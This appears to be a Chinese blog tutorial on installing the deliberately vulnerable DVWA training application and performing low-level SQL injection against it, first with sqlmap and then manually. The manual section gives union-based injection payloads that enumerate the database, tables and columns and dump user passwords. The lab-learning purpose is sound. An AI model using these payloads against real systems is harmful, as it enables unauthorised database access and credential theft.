滲透測試漏洞平臺DVWA環境安裝搭建及初級SQL注入

一:簡介

      DVWA(Damn Vulnerable Web Application)是一個用來進行安全脆弱性鑑定的PHP/MySQL Web應用,旨在爲安全專業人員測試自己的專業技能和工具提供合法的環境,幫助web開發者更好的理解web應用安全防範的過程。

 一共有十個模塊:

      暴力(破解)、命令行注入、跨站請求僞造、文件包含、文件上傳、不安全的驗證碼、SQL注入、SQL盲注、弱會話ID、XSS漏洞(DOM型跨站腳本、反射型跨站腳本、  存儲型跨站腳本)

二: 環境搭建

      1、下載DVWA,下載地址:http://www.dvwa.co.uk/

      2、安裝PHP集成環境,我這裏安裝的是PhpStudy,下載地址:http://phpstudy.php.cn/

      3、把下載好的DWVA解壓,放在D:\PhpStudy\PHPTutorial\WWW中(因爲我將phpStudy安裝在D盤,所以是D:\PhpStudy)。

       

        4、需要配置DVWA鏈接數據庫,請打開config文件夾(在DVWA目錄下),如果打開是config.inc.php.dist的話,複製它,重命名爲config.inc.php,再打開config.inc.php,把密碼設置爲空。

         5、打開瀏覽器訪問:http://localhost/DVWA/,拉到下面,點擊Setup/Reset DB,點擊Create/Reset Database。

        6、創建成功後,訪問http://localhost/DVWA/login.php輸入用戶名,密碼登陸,默認用戶名 admin 默認密碼 password。三:SQL注入模塊(SQLMAP)

         1、輸入一個數字,然後submit

          2、我們這裏要查看Cookie,因爲這有登陸頁面,右鍵---檢查,查看Cookie。

          3、打開sqlmap,輸入命令,查看數據庫

       

       4、查表

我們也可以在紅線目錄下查看

    5、查表裏數據

      6、查看字段的數據

四:SQL手工注入(安全級別爲LOW級

上面用的是sqlmap獲取數據庫信息,現在使用手工注入來獲取數據庫的信息。

思路:1.判斷是否存在注入,注入是字符型還是數字型
           2.猜解SQL查詢語句中的字段數
           3.確定顯示的字段順序
           4.獲取當前數據庫
           5.獲取數據庫中的表
           6.獲取表中的字段名
           7.下載數據

  後端數據庫語句:SELECT first_name, last_name FROM users WHERE user_id = '$id'

(1)輸入1,查詢成功。

         輸入1' or '1'='1,返回了多個結果,說明存在字符型注入。

        傳到後端語句變爲:SELECT first_name, last_name FROM users WHERE user_id = '1' or '1'='1'

 

(2)輸入1' or 1=1 order by 2 #,查詢成功。輸入1' or 1=1 order by 3 #,查詢失敗。說明字段爲2

         也可以通過輸入1' union select 1,2 #來猜解字段數

 (3)獲取當前數據庫,輸入1' union select 1,database() #,查詢成功。當前的數據庫爲dvwa。

(4)獲取數據庫中的表

輸入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,查詢成功。數據庫dvwa中一共有兩個表,guestbook與users

(5)獲取表中的字段名

輸入1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #,查詢成功。users表中有8個字段,分別是user_id,first_name,last_name,user,password,avatar,last_login,failed_login。

(7)下載數據

輸入1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,查詢成功。

SQL注入LOW級的這樣就基本結束了!!!這只是最簡單的SQL注入,沒什麼技術含量,難的在後面,加油,小夥伴們。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章